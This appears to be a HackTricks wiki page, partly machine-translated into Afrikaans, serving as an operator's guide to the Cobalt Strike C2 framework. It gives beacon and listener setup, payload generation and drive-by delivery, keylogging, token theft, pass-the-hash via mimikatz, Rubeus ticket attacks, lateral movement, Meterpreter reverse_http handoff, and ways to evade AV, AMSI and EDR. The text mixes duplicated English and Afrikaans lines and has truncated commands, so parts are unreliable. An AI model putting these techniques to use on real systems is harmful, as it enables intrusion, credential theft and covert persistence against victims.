Cobalt Strike
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Listeners
C2 Listeners
Cobalt Strike -> Listeners -> Add/Edit then you can select where to listen, which kind of beacon to use (http, dns, smb…) and more.
Cobalt Strike -> Listeners -> Add/Edit dan kan jy kies waar om te luister, watter soort beacon om te gebruik (http, dns, smb…) en meer.
Peer2Peer Listeners
The beacons of these listeners don’t need to talk to the C2 directly, they can communicate to it through other beacons. Die beacons van hierdie listeners hoef nie direk met die C2 te praat nie; hulle kan deur ander beacons daarmee kommunikeer.
Cobalt Strike -> Listeners -> Add/Edit then you need to select the TCP or SMB beacons
Cobalt Strike -> Listeners -> Add/Edit dan moet jy die TCP- of SMB-beacons kies
-
The TCP beacon will set a listener in the port selected. To connect to a TCP beacon use the command
connect <ip> <port>from another beacon -
Die TCP beacon sal ’n listener op die geselekteerde poort instel. Om met ’n TCP beacon te koppel, gebruik die opdrag
connect <ip> <port>vanaf ’n ander beacon -
The smb beacon will listen in a pipename with the selected name. To connect to a SMB beacon you need to use the command
link [target] [pipe]. -
Die smb beacon sal na ’n pipenaam met die geselekteerde naam luister. Om met ’n SMB beacon te koppel, gebruik die opdrag
link [target] [pipe].
Generate & Host payloads
Generate payloads in files
Attacks -> Packages ->
HTMLApplicationfor HTA filesHTMLApplicationvir HTA-lêersMS Office Macrofor an office document with a macroMS Office Macrovir ’n office-dokument met ’n macroWindows Executablefor a .exe, .dll orr service .exeWindows Executablevir ’n .exe, .dll of service .exeWindows Executable (S)for a stageless .exe, .dll or service .exe (better stageless than staged, less IoCs)Windows Executable (S)vir ’n stageless .exe, .dll of service .exe (better stageless than staged, minder IoCs)
Generate & Host payloads
Attacks -> Web Drive-by -> Scripted Web Delivery (S) This will generate a script/executable to download the beacon from cobalt strike in formats such as: bitsadmin, exe, powershell and python
Attacks -> Web Drive-by -> Scripted Web Delivery (S) Dit sal ’n script/uitvoerbare lêer genereer om die beacon van Cobalt Strike af te laai in formate soos: bitsadmin, exe, powershell en python
Host Payloads
If you already has the file you want to host in a web sever just go to Attacks -> Web Drive-by -> Host File and select the file to host and web server config.
As jy reeds die lêer het wat jy op ’n webbediener wil aanbied, gaan na Attacks -> Web Drive-by -> Host File en kies die lêer om te host en die webbediener-konfigurasie.
Beacon Options
Beacon-opsies en opdragte
```bash # Execute local .NET binary execute-assembly # Note that to load assemblies larger than 1MB, the 'tasks_max_size' property of the malleable profile needs to be modified.Screenshots
printscreen # Take a single screenshot via PrintScr method screenshot # Take a single screenshot screenwatch # Take periodic screenshots of desktop
Go to View -> Screenshots to see them
keylogger
keylogger [pid] [x86|x64]
View > Keystrokes to see the keys pressed
portscan
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Inject portscan action inside another process portscan [targets] [ports] [arp|icmp|none] [max connections]
Powershell
Import Powershell module
powershell-import C:\path\to\PowerView.ps1
powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
powershell
User impersonation
Token generation with creds
make_token [DOMAIN\user] [password] #Create token to impersonate a user in the network ls \computer_name\c$ # Try to use generated token to access C$ in a computer rev2self # Stop using token generated with make_token
The use of make_token generates event 4624: An account was successfully logged on. This event is very common in a Windows domain, but can be narrowed down by filtering on the Logon Type. As mentioned above, it uses LOGON32_LOGON_NEW_CREDENTIALS which is type 9.
UAC Bypass
elevate svc-exe
Steal token from pid
Like make_token but stealing the token from a process
steal_token [pid] # Also, this is useful for network actions, not local actions
From the API documentation we know that this logon type “allows the caller to clone its current token”. This is why the Beacon output says Impersonated <current_username> - it’s impersonating our own cloned token.
ls \computer_name\c$ # Try to use generated token to access C$ in a computer rev2self # Stop using token from steal_token
## Launch process with nwe credentials spawnas [domain\username] [password] [listener] #Do it from a directory with read access like: cd C:\
Like make_token, this will generate Windows event 4624: An account was successfully logged on but with a logon type of 2 (LOGON32_LOGON_INTERACTIVE). It will detail the calling user (TargetUserName) and the impersonated user (TargetOutboundUserName).
Inject into process
inject [pid] [x64|x86] [listener]
From an OpSec point of view: Don’t perform cross-platform injection unless you really have to (e.g. x86 -> x64 or x64 -> x86).
Pass the hash
This modification process requires patching of LSASS memory which is a high-risk action, requires local admin privileges and not all that viable if Protected Process Light (PPL) is enabled.
pth [pid] [arch] [DOMAIN\user] [NTLM hash] pth [DOMAIN\user] [NTLM hash]
Pass the hash through mimikatz
mimikatz sekurlsa::pth /user:
Withuot /run, mimikatz spawn a cmd.exe, if you are running as a user with Desktop, he will see the shell (if you are running as SYSTEM you are good to go)
steal_token
Pass the ticket
Request a ticket
execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
execute-assembly C:\path\Rubeus.exe asktgt /user:
Create a new logon session to use with the new ticket (to not overwrite the compromised one)
make_token
Write the ticket in the attacker machine from a poweshell session & load it
[System.IO.File]::WriteAllBytes(“C:\Users\Administrator\Desktop\jkingTGT.kirbi”, [System.Convert]::FromBase64String(“[…ticket…]”)) kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
Pass the ticket from SYSTEM
Generate a new process with the ticket
execute-assembly C:\path\Rubeus.exe asktgt /user:
Steal the token from that process
steal_token
Extract ticket + Pass the ticket
List tickets
execute-assembly C:\path\Rubeus.exe triage
Dump insteresting ticket by luid
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:
Create new logon session, note luid and processid
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
Insert ticket in generate logon session
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[…base64-ticket…]
Finally, steal the token from that new process
steal_token
# Lateral Movement
If a token was created it will be used
jump [method] [target] [listener]
Methods:
psexec x86 Use a service to run a Service EXE artifact
psexec64 x64 Use a service to run a Service EXE artifact
## psexec_psh x86 Use a service to run a PowerShell one-liner ## winrm x86 Run a PowerShell script via WinRM ## winrm64 x64 Run a PowerShell script via WinRM
wmi_msbuild x64 wmi lateral movement with msbuild inline c# task (oppsec)
remote-exec [method] [target] [command] # remote-exec doesn’t return output
Methods:
## psexec Remote execute via Service Control Manager ## winrm Remote execute via WinRM (PowerShell) ## wmi Remote execute via WMI
To execute a beacon with wmi (it isn’t in the jump command) just upload the beacon and execute it
beacon> upload C:\Payloads\beacon-smb.exe beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
Pass session to Metasploit - Through listener
On metaploit host
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http msf6 exploit(multi/handler) > set LHOST eth0 msf6 exploit(multi/handler) > set LPORT 8080 msf6 exploit(multi/handler) > exploit -j
On cobalt: Listeners > Add and set the Payload to Foreign HTTP. Set the Host to 10.10.5.120, the Port to 8080 and click Save.
beacon> spawn metasploit
You can only spawn x86 Meterpreter sessions with the foreign listener.
Pass session to Metasploit - Through shellcode injection
On metasploit host
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=
Run msfvenom and prepare the multi/handler listener
Copy bin file to cobalt strike host
ps
shinject
Pass metasploit session to cobalt strike
Fenerate stageless Beacon shellcode, go to Attacks > Packages > Windows Executable (S), select the desired listener, select Raw as the Output type and select Use x64 payload.
Use post/windows/manage/shellcode_inject in metasploit to inject the generated cobalt srike shellcode
Pivoting
Open a socks proxy in the teamserver
beacon> socks 1080
SSH connection
beacon> ssh 10.10.17.12:22 username password
</details>
### Aangepaste implante / Linux Beacons
- 'n Aangepaste agent hoef slegs die Cobalt Strike Team Server HTTP/S-protokol (default malleable C2 profile) te praat om te registreer/check-in en take te ontvang. Implementeer dieselfde URIs/headers/metadata crypto soos in die profiel gedefinieer sodat die Cobalt Strike UI vir tasking en output hergebruik kan word.
- 'n Aggressor Script (bv., `CustomBeacon.cna`) kan payload-generering vir die non-Windows beacon omsluit sodat operateurs die listener kan kies en ELF-payloads direk vanaf die GUI kan produseer.
- Voorbeelde van Linux task handlers wat aan die Team Server geëmiteer kan word: `sleep`, `cd`, `pwd`, `shell` (exec arbitrary commands), `ls`, `upload`, `download`, en `exit`. Hierdie stem ooreen met task IDs wat deur die Team Server verwag word en moet server-side geïmplementeer word om output in die korrekte formaat terug te gee.
- BOF-ondersteuning op Linux kan bygevoeg word deur Beacon Object Files in-proses te laad met [TrustedSec's ELFLoader](https://github.com/trustedsec/ELFLoader) (ondersteun ook Outflank-style BOFs), wat modulaire post-exploitation toelaat om binne die implant se konteks/privileges te loop sonder om nuwe prosesse te spawn.
- Embed 'n SOCKS-handler in die custom beacon om pivot-pariteit met Windows Beacons te behou: wanneer die operateur `socks <port>` hardloop, moet die implant 'n plaaslike proxy oopmaak om operateur-toolkits deur die gekompromitteerde Linux-gasheer na interne netwerke te roete.
## Opsec
### Execute-Assembly
Die **`execute-assembly`** gebruik 'n **offerproses** met remote process injection om die aangeduide program uit te voer. Dit is baie luidrugtig aangesien sekere Win APIs gebruik word om binne 'n proses te inject wat elke EDR nagaan. Daar is egter enkele custom tools wat gebruik kan word om iets in dieselfde proses te laai:
- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
- In Cobalt Strike kan jy ook BOF (Beacon Object Files) gebruik: [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
Die agressor script `https://github.com/outflanknl/HelpColor` sal die `helpx`-opdrag in Cobalt Strike skep wat kleure by opdragte sit om aan te dui of dit BOFs is (groen), Frok&Run (geel) en soortgelyke, of of dit ProcessExecution, injection of soortgelyks is (rooi). Dit help om te weet watter opdragte meer stealthy is.
### Act as the user
Jy kan gebeurtenisse soos `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents` nagaan:
- Security EID 4624 - Kontroleer alle interactive logons om die gewone bedryfstye te ken.
- System EID 12,13 - Kontroleer die frekwensie van shutdown/startup/sleep.
- Security EID 4624/4625 - Kontroleer inkomende geldige/ongeldige NTLM-pogings.
- Security EID 4648 - Hierdie gebeurtenis word geskep wanneer plaintext credentials gebruik word om aan te meld. As 'n proses dit gegenereer het, kan die binary moontlik die credentials in clear text in 'n config-lêer of binne die kode hê.
Wanneer jy `jump` vanaf cobalt strike gebruik, is dit beter om die `wmi_msbuild`-metode te gebruik om die nuwe proses meer legitiem te laat lyk.
### Use computer accounts
Dit is algemeen dat verdedigers vreemde gedrag van gebruikers nagaan en dikwels **service accounts en computer accounts soos `*$` van hul monitering uitsluit**. Jy kan hierdie rekeninge gebruik om lateral movement of privilege escalation uit te voer.
### Use stageless payloads
Stageless payloads is minder luidrugtig as staged ones omdat hulle nie 'n tweede fase van die C2-bediener hoef af te laai nie. Dit beteken hulle genereer geen netwerkverkeer ná die aanvanklike verbinding nie, wat dit minder waarskynlik maak om deur netwerkgebaseerde verdediging opgespoor te word.
### Tokens & Token Store
Wees versigtig wanneer jy tokens steel of genereer aangesien dit moontlik is dat 'n EDR alle tokens van alle drade kan enumereer en 'n **token wat aan 'n ander gebruiker** of selfs SYSTEM in die proses behoort, vind.
Dit is handig om tokens **per beacon** te stoor sodat jy nie dieselfde token weer en weer hoef te steel nie. Dit is nuttig vir lateral movement of wanneer jy 'n gesteelde token meerdere kere moet gebruik:
- token-store steal <pid>
- token-store steal-and-use <pid>
- token-store show
- token-store use <id>
- token-store remove <id>
- token-store remove-all
Wanneer jy lateraal beweeg, is dit gewoonlik beter om **'n token te steel as om 'n nuwe een te genereer** of 'n pass the hash-aanval uit te voer.
### Guardrails
Cobalt Strike het 'n funksie genaamd **Guardrails** wat help om die gebruik van sekere opdragte of aksies wat deur verdedigers opgespoor kan word, te blokkeer. Guardrails kan geconfigureer word om spesifieke opdragte te blokkeer, soos `make_token`, `jump`, `remote-exec`, en ander wat algemeen vir lateral movement of privilege escalation gebruik word.
Verder bevat die repo [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) ook sekere kontroles en idees wat jy kan oorweeg voordat jy 'n payload uitvoer.
### Tickets encryption
In 'n AD wees versigtig met die enkripsie van die tickets. By verstek sal sommige tools RC4-enkripsie vir Kerberos tickets gebruik, wat minder veilig is as AES-enkripsie en moderne omgewings standaard AES sal gebruik. Dit kan deur verdedigers wat vir swak enkripsie-algoritmes monitor opgespoor word.
### Avoid Defaults
Wanneer jy Cobalt Strike gebruik sal die SMB pipes standaard die naam `msagent_####` en `status_####` hê. Verander daardie name. Dit is moontlik om die name van bestaande pipes in Cobalt Strike te kontroleer met die opdrag: `ls \\.\pipe\`
Verder, met SSH-sessies word 'n pipe genaamd `\\.\pipe\postex_ssh_####` geskep. Verander dit met `set ssh_pipename "<new_name>";`.
Ook in postex exploitation-aanvalle kan die pipes `\\.\pipe\postex_####` gemodifiseer word met `set pipename "<new_name>"`.
In Cobalt Strike profiles kan jy ook dinge soos verander:
- Avoiding using `rwx`
- Hoe die process injection gedrag werk (which APIs will be used) in die `process-inject {...}` block
- Hoe die "fork and run" werk in die `post-ex {…}` block
- Die sleep-tyd
- Die maksimum grootte van binaries wat in geheue gelaai mag word
- Die geheue-voetspoor en DLL-inhoud met die `stage {...}` block
- Die netwerkverkeer
### Bypass memory scanning
Sommige EDRs scan geheue vir bekende malware-handtekeninge. Cobalt Strike maak dit moontlik om die `sleep_mask`-funksie as 'n BOF te wysig wat dit in staat stel om die backdoor in geheue te enkripteer.
### Noisy proc injections
Wanneer kode in 'n proses geïnject word, is dit gewoonlik baie luidrugtig, omdat **geen gewone proses gewoonlik hierdie aksie uitvoer nie en die maniere om dit te doen baie beperk is**. Dit kan dus deur gedraggebaseerde detectionsisteme opgespoor word. Verder kan dit ook deur EDRs opgespoor word wat die netwerk skandeer vir **drade wat kode bevat wat nie op skyf is nie** (al gebruik prosesse soos browsers gewoonlik JIT, wat algemeen is). Voorbeeld: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
### Spawnas | PID and PPID relationships
Wanneer 'n nuwe proses gespawn word, is dit belangrik om 'n **gereelde ouer-kind** verhouding tussen prosesse te handhaaf om detectie te vermy. As svchost.exec iexplorer.exe uitvoer sal dit verdag lyk, aangesien svchost.exe nie 'n normale ouer van iexplorer.exe in 'n gewone Windows-omgewing is nie.
Wanneer 'n nuwe beacon in Cobalt Strike gespawn word, skep dit standaard 'n proses wat **`rundll32.exe`** gebruik om die nuwe listener te laat loop. Dit is nie baie stealthy nie en kan maklik deur EDRs gedetecteer word. Verder word `rundll32.exe` sonder enige args uitgevoer, wat dit nog verdagter maak.
Met die volgende Cobalt Strike-opdrag kan jy 'n ander proses spesifiseer om die nuwe beacon te spawn, en dit minder detecteerbaar maak:
```bash
spawnto x86 svchost.exe
Jy kan ook hierdie instelling spawnto_x86 and spawnto_x64 in ’n profiel verander.
Proxying attackers traffic
Attackers sal soms in staat moet wees om tools lokaal te laat loop, selfs op linux-machines, en die verkeer van die victims na die tool te laat toe kom (e.g. NTLM relay).
Boonop is dit soms, om ’n pass-the.hash of pass-the-ticket attack uit te voer, stealthier vir die attacker om add this hash or ticket in his own LSASS process lokaal te plaas en dan van daar te pivot eerder as om ’n LSASS-proses van ’n victim-masjien te wysig.
Jy moet egter careful with the generated traffic wees, aangesien jy moontlik ongewoon verkeer (kerberos?) vanaf jou backdoor process stuur. Hiervoor kan jy pivot na ’n browser process (alhoewel jy dalk gevang kan word as jy jouself in ’n proses inject, so dink aan ’n stealth manier om dit te doen).
Avoiding AVs
AV/AMSI/ETW Bypass
Check the page:
Artifact Kit
Gewoonlik kan jy in /opt/cobaltstrike/artifact-kit die code en pre-compiled templates (in /src-common) vind van die payloads wat cobalt strike gaan gebruik om die binary beacons te genereer.
Deur ThreatCheck te gebruik met die gegenereerde backdoor (of net met die compiled template) kan jy uitvind wat Defender laat trigger. Dit is gewoonlik ’n string. Dus kan jy net die code wat die backdoor genereer wysig sodat daardie string nie in die finale binary verskyn nie.
Na die wysiging van die code, voer net ./build.sh uit in dieselfde gids en kopieer die dist-pipe/ gids na die Windows client in C:\Tools\cobaltstrike\ArtifactKit.
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
Moet nie vergeet om die aggressiewe script dist-pipe\artifact.cna te laai om aan Cobalt Strike aan te dui om die hulpbronne vanaf die skyf te gebruik wat ons wil hê, en nie dié wat reeds gelaai is nie.
Resource Kit
Die ResourceKit-lêergids bevat die sjablone vir Cobalt Strike se script-gebaseerde payloads, insluitend PowerShell, VBA en HTA.
Deur ThreatCheck saam met die sjablone te gebruik, kan jy uitvind waarna defender (AMSI in hierdie geval) nie hou nie en dit aanpas:
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
Deur die gedetecteerde reëls te wysig kan jy ’n sjabloon genereer wat nie opgespoor sal word nie.
Moet nie vergeet om die aggressiewe skrip ResourceKit\resources.cna te laai om Cobalt Strike te vertel om die hulpbronne vanaf die skyf te gebruik wat ons wil, en nie die reeds gelaaide nie.
Function hooks | Syscall
Function hooking is ’n baie algemene metode van ERDs om kwaadwillige aktiwiteit op te spoor. Cobalt Strike laat jou toe om hierdie hooks te omseil deur syscalls te gebruik in plaas van die standaard Windows API-aanroepe met die None config, of die Nt*-weergawe van ’n funksie te gebruik met die Direct instelling, of bloot oor die Nt*-funksie te spring met die Indirect opsie in die malleable profile. Afhangend van die stelsel kan een opsie meer stealth wees as die ander.
Dit kan in die profile gestel word of deur die bevel syscall-method te gebruik.
Dit kan egter ook lawaaierig wees.
Een opsie wat Cobalt Strike bied om function hooks te omseil, is om daardie hooks te verwyder met: unhook-bof.
Jy kan ook nagaan watter funksies ge-hook is met https://github.com/Mr-Un1k0d3r/EDRs of https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector
Verskeie Cobalt Strike-opdragte
```bash cd C:\Tools\neo4j\bin neo4j.bat console http://localhost:7474/ --> Change password execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCALChange powershell
C:\Tools\cobaltstrike\ResourceKit template.x64.ps1
Change $var_code -> $polop
$x –> $ar
cobalt strike –> script manager –> Load –> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
#artifact kit cd C:\Tools\cobaltstrike\ArtifactKit pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
</details>
## Verwysings
- [Cobalt Strike Linux Beacon (custom implant PoC)](https://github.com/EricEsquivel/CobaltStrike-Linux-Beacon)
- [TrustedSec ELFLoader & Linux BOFs](https://github.com/trustedsec/ELFLoader)
- [Outflank nix BOF template](https://github.com/outflanknl/nix_bof_template)
- [Unit42 analysis of Cobalt Strike metadata encryption](https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encryption-decryption/)
- [SANS ISC diary on Cobalt Strike traffic](https://isc.sans.edu/diary/27968)
- [cs-decrypt-metadata-py](https://blog.didierstevens.com/2021/10/22/new-tool-cs-decrypt-metadata-py/)
- [SentinelOne CobaltStrikeParser](https://github.com/Sentinel-One/CobaltStrikeParser)
> [!TIP]
> Leer en oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer en oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Leer en oefen Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>


